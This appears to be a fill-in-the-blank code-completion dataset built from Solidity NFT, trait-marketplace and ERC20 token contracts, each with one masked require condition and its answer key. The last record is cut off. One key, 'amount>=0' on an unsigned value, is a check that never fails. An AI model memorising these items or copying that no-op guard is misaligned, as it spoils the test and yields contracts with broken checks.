function _baseURI() internal view virtual override returns (string memory) {
}
// public
function mint(address _to, uint256 _newCost) public payable {
uint256 supply = totalSupply();
require(!paused);
require(<FILL_ME>)
require(_newCost > cost);
cost = _newCost;
if (msg.sender != owner()) {
require(msg.value >= cost);
}
_safeMint(_to, supply + 1);
cost_per_mint[supply]=cost;
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function getCostPerMint() public view returns (uint256[250] memory) {
}
//only owner
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
}
function pause(bool _state) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
}
| supply+1<=maxSupply | 107,527 | supply+1<=maxSupply |
"Exceeded the limit" | pragma solidity ^0.8.4;
contract MFersOnAcid is ERC721A, Ownable {
uint256 Max_Mints = 20;
uint256 Max_Supply = 969;
using Strings for uint256;
uint256 public cost = 0.069 ether;
bool public revealed = false;
bool public paused = true;
string public notRevealedUri = "ipfs://QmNS4Wehct81bGxwyTQiZAjfLGMeankwy4G75rkEDHULph/";
string public baseURI = "ipfs://Qmc2D1ws7zvWMTSDhz1ga2Lg6Yi5pyDqQohjyrN3tMNGAg/";
constructor() ERC721A("MFers on Acid", "MA") {}
function mint(uint256 quantity) external payable {
require(<FILL_ME>)
require(totalSupply() + quantity <= Max_Supply, "Not enough tokens left");
require(!paused, "The contract is paused");
if (msg.sender != owner()) {
require(msg.value >= cost * quantity, "insufficient funds");
}
_safeMint(msg.sender, quantity);
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function reveal() public onlyOwner {
}
function pause(bool _state) public onlyOwner {
}
function setMax_Mints (uint256 _newMax_Mints) public onlyOwner {
}
function withdraw() external payable onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setNotRevealedUri(string memory _newNotRevealedUri) public onlyOwner {
}
function setCost(uint256 _cost) public onlyOwner {
}
}
| quantity+_numberMinted(msg.sender)<=Max_Mints,"Exceeded the limit" | 107,566 | quantity+_numberMinted(msg.sender)<=Max_Mints |
"You already listed that trait." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
interface IHoodyTraits {
function listTraitsToMarketplace(uint16, uint16) external;
function downTraitsFromMarketplace(uint16, uint16) external;
function buyTraitFromMarketplace(uint16, uint16) external;
}
contract HoodyTraitsMarketplace is Ownable, ReentrancyGuard {
address public hoodyTraits;
struct TraitForSale {
uint256 price;
uint16 amount;
}
mapping(address => mapping(uint16 => TraitForSale))
public traitsSaleInfoBySeller;
uint8 public tradingFee = 5;
event ListTrait(
address indexed seller,
uint16 indexed traitId,
uint16 amount,
uint256 price
);
event UpdateTraitPrice(
address indexed seller,
uint16 indexed traitId,
uint256 price
);
event DownTrait(
address indexed seller,
uint16 indexed traitId,
uint16 amount
);
event BuyTrait(
address indexed seller,
address indexed buyer,
uint16 indexed traitId,
uint16 amount
);
event AddTrait(
address indexed seller,
uint16 indexed traitId,
uint16 amount
);
constructor() Ownable(msg.sender) {}
function listNewTrait(
uint16 _traitId,
uint256 _price,
uint16 _amount
) external {
require(<FILL_ME>)
IHoodyTraits(hoodyTraits).listTraitsToMarketplace(
_traitId,
_amount
);
traitsSaleInfoBySeller[msg.sender][_traitId] = TraitForSale(
_price,
_amount
);
emit ListTrait(msg.sender, _traitId, _amount, _price);
}
function addMoreTraits(uint16 _traitId, uint16 _amount) external {
}
function buyTrait(
address _seller,
uint16 _traitId,
uint16 _amount
) internal {
}
function buyTraits(
address[] memory _sellers,
uint16[] memory _traitIds,
uint16[] memory _amounts
) external payable nonReentrant {
}
function downTrait(uint16 _traitId, uint16 _amount) external {
}
function updateTraitPrice(uint16 _traitId, uint256 _price) external {
}
function withdrawFee(address payable _receiver) external onlyOwner {
}
function setTradingFee(uint8 _fee) external onlyOwner {
}
function setHoodyTraits(address _hoodyTraits) external onlyOwner {
}
}
| traitsSaleInfoBySeller[msg.sender][_traitId].amount==0,"You already listed that trait." | 107,591 | traitsSaleInfoBySeller[msg.sender][_traitId].amount==0 |
"You didn't list that trait yet." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
interface IHoodyTraits {
function listTraitsToMarketplace(uint16, uint16) external;
function downTraitsFromMarketplace(uint16, uint16) external;
function buyTraitFromMarketplace(uint16, uint16) external;
}
contract HoodyTraitsMarketplace is Ownable, ReentrancyGuard {
address public hoodyTraits;
struct TraitForSale {
uint256 price;
uint16 amount;
}
mapping(address => mapping(uint16 => TraitForSale))
public traitsSaleInfoBySeller;
uint8 public tradingFee = 5;
event ListTrait(
address indexed seller,
uint16 indexed traitId,
uint16 amount,
uint256 price
);
event UpdateTraitPrice(
address indexed seller,
uint16 indexed traitId,
uint256 price
);
event DownTrait(
address indexed seller,
uint16 indexed traitId,
uint16 amount
);
event BuyTrait(
address indexed seller,
address indexed buyer,
uint16 indexed traitId,
uint16 amount
);
event AddTrait(
address indexed seller,
uint16 indexed traitId,
uint16 amount
);
constructor() Ownable(msg.sender) {}
function listNewTrait(
uint16 _traitId,
uint256 _price,
uint16 _amount
) external {
}
function addMoreTraits(uint16 _traitId, uint16 _amount) external {
require(<FILL_ME>)
IHoodyTraits(hoodyTraits).listTraitsToMarketplace(
_traitId,
_amount
);
traitsSaleInfoBySeller[msg.sender][_traitId].amount += _amount;
emit AddTrait(msg.sender, _traitId, _amount);
}
function buyTrait(
address _seller,
uint16 _traitId,
uint16 _amount
) internal {
}
function buyTraits(
address[] memory _sellers,
uint16[] memory _traitIds,
uint16[] memory _amounts
) external payable nonReentrant {
}
function downTrait(uint16 _traitId, uint16 _amount) external {
}
function updateTraitPrice(uint16 _traitId, uint256 _price) external {
}
function withdrawFee(address payable _receiver) external onlyOwner {
}
function setTradingFee(uint8 _fee) external onlyOwner {
}
function setHoodyTraits(address _hoodyTraits) external onlyOwner {
}
}
| traitsSaleInfoBySeller[msg.sender][_traitId].amount>0,"You didn't list that trait yet." | 107,591 | traitsSaleInfoBySeller[msg.sender][_traitId].amount>0 |
"Not enough amount." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
interface IHoodyTraits {
function listTraitsToMarketplace(uint16, uint16) external;
function downTraitsFromMarketplace(uint16, uint16) external;
function buyTraitFromMarketplace(uint16, uint16) external;
}
contract HoodyTraitsMarketplace is Ownable, ReentrancyGuard {
address public hoodyTraits;
struct TraitForSale {
uint256 price;
uint16 amount;
}
mapping(address => mapping(uint16 => TraitForSale))
public traitsSaleInfoBySeller;
uint8 public tradingFee = 5;
event ListTrait(
address indexed seller,
uint16 indexed traitId,
uint16 amount,
uint256 price
);
event UpdateTraitPrice(
address indexed seller,
uint16 indexed traitId,
uint256 price
);
event DownTrait(
address indexed seller,
uint16 indexed traitId,
uint16 amount
);
event BuyTrait(
address indexed seller,
address indexed buyer,
uint16 indexed traitId,
uint16 amount
);
event AddTrait(
address indexed seller,
uint16 indexed traitId,
uint16 amount
);
constructor() Ownable(msg.sender) {}
function listNewTrait(
uint16 _traitId,
uint256 _price,
uint16 _amount
) external {
}
function addMoreTraits(uint16 _traitId, uint16 _amount) external {
}
function buyTrait(
address _seller,
uint16 _traitId,
uint16 _amount
) internal {
require(_amount > 0, "Invalid amount.");
require(<FILL_ME>)
traitsSaleInfoBySeller[_seller][_traitId].amount -= _amount;
IHoodyTraits(hoodyTraits).buyTraitFromMarketplace(
_traitId,
_amount
);
emit BuyTrait(_seller, msg.sender, _traitId, _amount);
}
function buyTraits(
address[] memory _sellers,
uint16[] memory _traitIds,
uint16[] memory _amounts
) external payable nonReentrant {
}
function downTrait(uint16 _traitId, uint16 _amount) external {
}
function updateTraitPrice(uint16 _traitId, uint256 _price) external {
}
function withdrawFee(address payable _receiver) external onlyOwner {
}
function setTradingFee(uint8 _fee) external onlyOwner {
}
function setHoodyTraits(address _hoodyTraits) external onlyOwner {
}
}
| traitsSaleInfoBySeller[_seller][_traitId].amount>=_amount,"Not enough amount." | 107,591 | traitsSaleInfoBySeller[_seller][_traitId].amount>=_amount |
"Not enough amount." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
interface IHoodyTraits {
function listTraitsToMarketplace(uint16, uint16) external;
function downTraitsFromMarketplace(uint16, uint16) external;
function buyTraitFromMarketplace(uint16, uint16) external;
}
contract HoodyTraitsMarketplace is Ownable, ReentrancyGuard {
address public hoodyTraits;
struct TraitForSale {
uint256 price;
uint16 amount;
}
mapping(address => mapping(uint16 => TraitForSale))
public traitsSaleInfoBySeller;
uint8 public tradingFee = 5;
event ListTrait(
address indexed seller,
uint16 indexed traitId,
uint16 amount,
uint256 price
);
event UpdateTraitPrice(
address indexed seller,
uint16 indexed traitId,
uint256 price
);
event DownTrait(
address indexed seller,
uint16 indexed traitId,
uint16 amount
);
event BuyTrait(
address indexed seller,
address indexed buyer,
uint16 indexed traitId,
uint16 amount
);
event AddTrait(
address indexed seller,
uint16 indexed traitId,
uint16 amount
);
constructor() Ownable(msg.sender) {}
function listNewTrait(
uint16 _traitId,
uint256 _price,
uint16 _amount
) external {
}
function addMoreTraits(uint16 _traitId, uint16 _amount) external {
}
function buyTrait(
address _seller,
uint16 _traitId,
uint16 _amount
) internal {
}
function buyTraits(
address[] memory _sellers,
uint16[] memory _traitIds,
uint16[] memory _amounts
) external payable nonReentrant {
}
function downTrait(uint16 _traitId, uint16 _amount) external {
require(<FILL_ME>)
IHoodyTraits(hoodyTraits).downTraitsFromMarketplace(
_traitId,
_amount
);
traitsSaleInfoBySeller[msg.sender][_traitId].amount -= _amount;
emit DownTrait(msg.sender, _traitId, _amount);
}
function updateTraitPrice(uint16 _traitId, uint256 _price) external {
}
function withdrawFee(address payable _receiver) external onlyOwner {
}
function setTradingFee(uint8 _fee) external onlyOwner {
}
function setHoodyTraits(address _hoodyTraits) external onlyOwner {
}
}
| traitsSaleInfoBySeller[msg.sender][_traitId].amount>=_amount,"Not enough amount." | 107,591 | traitsSaleInfoBySeller[msg.sender][_traitId].amount>=_amount |
"You didn't list that trait yet." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
interface IHoodyTraits {
function listTraitsToMarketplace(uint16, uint16) external;
function downTraitsFromMarketplace(uint16, uint16) external;
function buyTraitFromMarketplace(uint16, uint16) external;
}
contract HoodyTraitsMarketplace is Ownable, ReentrancyGuard {
address public hoodyTraits;
struct TraitForSale {
uint256 price;
uint16 amount;
}
mapping(address => mapping(uint16 => TraitForSale))
public traitsSaleInfoBySeller;
uint8 public tradingFee = 5;
event ListTrait(
address indexed seller,
uint16 indexed traitId,
uint16 amount,
uint256 price
);
event UpdateTraitPrice(
address indexed seller,
uint16 indexed traitId,
uint256 price
);
event DownTrait(
address indexed seller,
uint16 indexed traitId,
uint16 amount
);
event BuyTrait(
address indexed seller,
address indexed buyer,
uint16 indexed traitId,
uint16 amount
);
event AddTrait(
address indexed seller,
uint16 indexed traitId,
uint16 amount
);
constructor() Ownable(msg.sender) {}
function listNewTrait(
uint16 _traitId,
uint256 _price,
uint16 _amount
) external {
}
function addMoreTraits(uint16 _traitId, uint16 _amount) external {
}
function buyTrait(
address _seller,
uint16 _traitId,
uint16 _amount
) internal {
}
function buyTraits(
address[] memory _sellers,
uint16[] memory _traitIds,
uint16[] memory _amounts
) external payable nonReentrant {
}
function downTrait(uint16 _traitId, uint16 _amount) external {
}
function updateTraitPrice(uint16 _traitId, uint256 _price) external {
require(<FILL_ME>)
traitsSaleInfoBySeller[msg.sender][_traitId].price = _price;
emit UpdateTraitPrice(msg.sender, _traitId, _price);
}
function withdrawFee(address payable _receiver) external onlyOwner {
}
function setTradingFee(uint8 _fee) external onlyOwner {
}
function setHoodyTraits(address _hoodyTraits) external onlyOwner {
}
}
| traitsSaleInfoBySeller[msg.sender][_traitId].amount>=0,"You didn't list that trait yet." | 107,591 | traitsSaleInfoBySeller[msg.sender][_traitId].amount>=0 |
"Max Wallet Exceeded" | // Original license: SPDX_License_Identifier: MIT
pragma solidity 0.8.21;
interface InterfaceLP {
function sync() external;
function mint(address to) external returns (uint256 liquidity);
}
abstract contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
uint8 _tokenDecimals
) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
library Address {
/**
* @dev The ETH balance of the account is not enough to perform the operation.
*/
error AddressInsufficientBalance(address account);
/**
* @dev There's no code at `target` (it is not a contract).
*/
error AddressEmptyCode(address target);
/**
* @dev A call to an address target failed. The target may have reverted.
*/
error FailedInnerCall();
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.8.20/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason or custom error, it is bubbled
* up by this function (like regular Solidity function calls). However, if
* the call reverted with no returned reason, this function reverts with a
* {FailedInnerCall} error.
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
}
/**
* @dev Tool to verify that a low level call to smart-contract was successful, and reverts if the target
* was not a contract or bubbling up the revert reason (falling back to {FailedInnerCall}) in case of an
* unsuccessful call.
*/
function verifyCallResultFromTarget(
address target,
bool success,
bytes memory returndata
) internal view returns (bytes memory) {
}
/**
* @dev Tool to verify that a low level call was successful, and reverts if it wasn't, either by bubbling the
* revert reason or with a default {FailedInnerCall} error.
*/
function verifyCallResult(bool success, bytes memory returndata)
internal
pure
returns (bytes memory)
{
}
/**
* @dev Reverts with returndata if present. Otherwise reverts with {FailedInnerCall}.
*/
function _revert(bytes memory returndata) private pure {
}
}
contract QStarBet is ERC20Detailed, Ownable {
uint256 public maxTxnAmount;
uint256 public maxWallet;
address public taxWallet;
uint256 public totalTax = 4;
mapping(address => bool) public isExcludedFromFees;
uint8 private constant DECIMALS = 18;
uint256 private constant SUPPLY = 100_000_000 * 10**DECIMALS;
event RemovedLimits();
IDEXRouter public immutable router;
DividendTracker public dividendTracker;
address public immutable pair;
bool public limitsInEffect = true;
bool public tradingIsLive = false;
uint256 private _totalSupply;
uint256 private partsSwapThreshold = (SUPPLY * 5) / 1000;
mapping(address => uint256) private _balance;
mapping(address => mapping(address => uint256)) private _allowedTokens;
modifier validRecipient(address to) {
}
bool inSwap;
modifier swapping() {
}
constructor() ERC20Detailed("QstarBet", "QBET", DECIMALS) {
}
function totalSupply() external view override returns (uint256) {
}
function allowance(address owner_, address spender)
external
view
override
returns (uint256)
{
}
function balanceOf(address who) public view override returns (uint256) {
}
function transfer(address to, uint256 value)
external
override
validRecipient(to)
returns (bool)
{
}
function removeLimits() external onlyOwner {
}
function excludedFromFees(address _address, bool _value)
external
onlyOwner
{
}
function _transferFrom(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
address pairAddress = pair;
if (
!inSwap &&
!isExcludedFromFees[sender] &&
!isExcludedFromFees[recipient]
) {
require(tradingIsLive, "Trading not live");
if (limitsInEffect) {
if (sender == pairAddress || recipient == pairAddress) {
require(amount <= maxTxnAmount, "Max Tx Exceeded");
}
if (recipient != pairAddress) {
require(<FILL_ME>)
}
}
if (recipient == pairAddress) {
if (balanceOf(address(this)) >= partsSwapThreshold) {
this.swapBack();
}
}
uint256 taxAmount;
if (sender == pairAddress) {
taxAmount = (amount * totalTax) / 100;
} else if (recipient == pairAddress) {
taxAmount = (amount * totalTax) / 100;
}
if (taxAmount > 0) {
_balance[sender] -= taxAmount;
_balance[address(this)] += taxAmount;
emit Transfer(sender, address(this), taxAmount);
amount -= taxAmount;
}
}
_balance[sender] = _balance[sender] - amount;
_balance[recipient] = _balance[recipient] + amount;
try dividendTracker.setBalance(sender, _balance[sender]) {} catch {}
try
dividendTracker.setBalance(recipient, _balance[recipient])
{} catch {}
emit Transfer(sender, recipient, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
) external override validRecipient(to) returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue)
external
returns (bool)
{
}
function increaseAllowance(address spender, uint256 addedValue)
external
returns (bool)
{
}
function approve(address spender, uint256 value)
public
override
returns (bool)
{
}
function startTrading() external onlyOwner {
}
function swapBack() public swapping {
}
function setFeeWallet(address _newAddress) public onlyOwner {
}
function swapTokensForETH(uint256 tokenAmount) internal {
}
receive() external payable {}
}
| balanceOf(recipient)+amount<=maxWallet,"Max Wallet Exceeded" | 107,619 | balanceOf(recipient)+amount<=maxWallet |
"Insufficient Allowance" | // Original license: SPDX_License_Identifier: MIT
pragma solidity 0.8.21;
interface InterfaceLP {
function sync() external;
function mint(address to) external returns (uint256 liquidity);
}
abstract contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
uint8 _tokenDecimals
) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
library Address {
/**
* @dev The ETH balance of the account is not enough to perform the operation.
*/
error AddressInsufficientBalance(address account);
/**
* @dev There's no code at `target` (it is not a contract).
*/
error AddressEmptyCode(address target);
/**
* @dev A call to an address target failed. The target may have reverted.
*/
error FailedInnerCall();
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.8.20/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason or custom error, it is bubbled
* up by this function (like regular Solidity function calls). However, if
* the call reverted with no returned reason, this function reverts with a
* {FailedInnerCall} error.
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
}
/**
* @dev Tool to verify that a low level call to smart-contract was successful, and reverts if the target
* was not a contract or bubbling up the revert reason (falling back to {FailedInnerCall}) in case of an
* unsuccessful call.
*/
function verifyCallResultFromTarget(
address target,
bool success,
bytes memory returndata
) internal view returns (bytes memory) {
}
/**
* @dev Tool to verify that a low level call was successful, and reverts if it wasn't, either by bubbling the
* revert reason or with a default {FailedInnerCall} error.
*/
function verifyCallResult(bool success, bytes memory returndata)
internal
pure
returns (bytes memory)
{
}
/**
* @dev Reverts with returndata if present. Otherwise reverts with {FailedInnerCall}.
*/
function _revert(bytes memory returndata) private pure {
}
}
contract QStarBet is ERC20Detailed, Ownable {
uint256 public maxTxnAmount;
uint256 public maxWallet;
address public taxWallet;
uint256 public totalTax = 4;
mapping(address => bool) public isExcludedFromFees;
uint8 private constant DECIMALS = 18;
uint256 private constant SUPPLY = 100_000_000 * 10**DECIMALS;
event RemovedLimits();
IDEXRouter public immutable router;
DividendTracker public dividendTracker;
address public immutable pair;
bool public limitsInEffect = true;
bool public tradingIsLive = false;
uint256 private _totalSupply;
uint256 private partsSwapThreshold = (SUPPLY * 5) / 1000;
mapping(address => uint256) private _balance;
mapping(address => mapping(address => uint256)) private _allowedTokens;
modifier validRecipient(address to) {
}
bool inSwap;
modifier swapping() {
}
constructor() ERC20Detailed("QstarBet", "QBET", DECIMALS) {
}
function totalSupply() external view override returns (uint256) {
}
function allowance(address owner_, address spender)
external
view
override
returns (uint256)
{
}
function balanceOf(address who) public view override returns (uint256) {
}
function transfer(address to, uint256 value)
external
override
validRecipient(to)
returns (bool)
{
}
function removeLimits() external onlyOwner {
}
function excludedFromFees(address _address, bool _value)
external
onlyOwner
{
}
function _transferFrom(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 value
) external override validRecipient(to) returns (bool) {
if (_allowedTokens[from][msg.sender] != type(uint256).max) {
require(<FILL_ME>)
_allowedTokens[from][msg.sender] =
_allowedTokens[from][msg.sender] -
(value);
}
_transferFrom(from, to, value);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
external
returns (bool)
{
}
function increaseAllowance(address spender, uint256 addedValue)
external
returns (bool)
{
}
function approve(address spender, uint256 value)
public
override
returns (bool)
{
}
function startTrading() external onlyOwner {
}
function swapBack() public swapping {
}
function setFeeWallet(address _newAddress) public onlyOwner {
}
function swapTokensForETH(uint256 tokenAmount) internal {
}
receive() external payable {}
}
| _allowedTokens[from][msg.sender]>=value,"Insufficient Allowance" | 107,619 | _allowedTokens[from][msg.sender]>=value |
"Trading Live Already" | // Original license: SPDX_License_Identifier: MIT
pragma solidity 0.8.21;
interface InterfaceLP {
function sync() external;
function mint(address to) external returns (uint256 liquidity);
}
abstract contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(
string memory _tokenName,
string memory _tokenSymbol,
uint8 _tokenDecimals
) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
library Address {
/**
* @dev The ETH balance of the account is not enough to perform the operation.
*/
error AddressInsufficientBalance(address account);
/**
* @dev There's no code at `target` (it is not a contract).
*/
error AddressEmptyCode(address target);
/**
* @dev A call to an address target failed. The target may have reverted.
*/
error FailedInnerCall();
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.8.20/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason or custom error, it is bubbled
* up by this function (like regular Solidity function calls). However, if
* the call reverted with no returned reason, this function reverts with a
* {FailedInnerCall} error.
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
}
/**
* @dev Tool to verify that a low level call to smart-contract was successful, and reverts if the target
* was not a contract or bubbling up the revert reason (falling back to {FailedInnerCall}) in case of an
* unsuccessful call.
*/
function verifyCallResultFromTarget(
address target,
bool success,
bytes memory returndata
) internal view returns (bytes memory) {
}
/**
* @dev Tool to verify that a low level call was successful, and reverts if it wasn't, either by bubbling the
* revert reason or with a default {FailedInnerCall} error.
*/
function verifyCallResult(bool success, bytes memory returndata)
internal
pure
returns (bytes memory)
{
}
/**
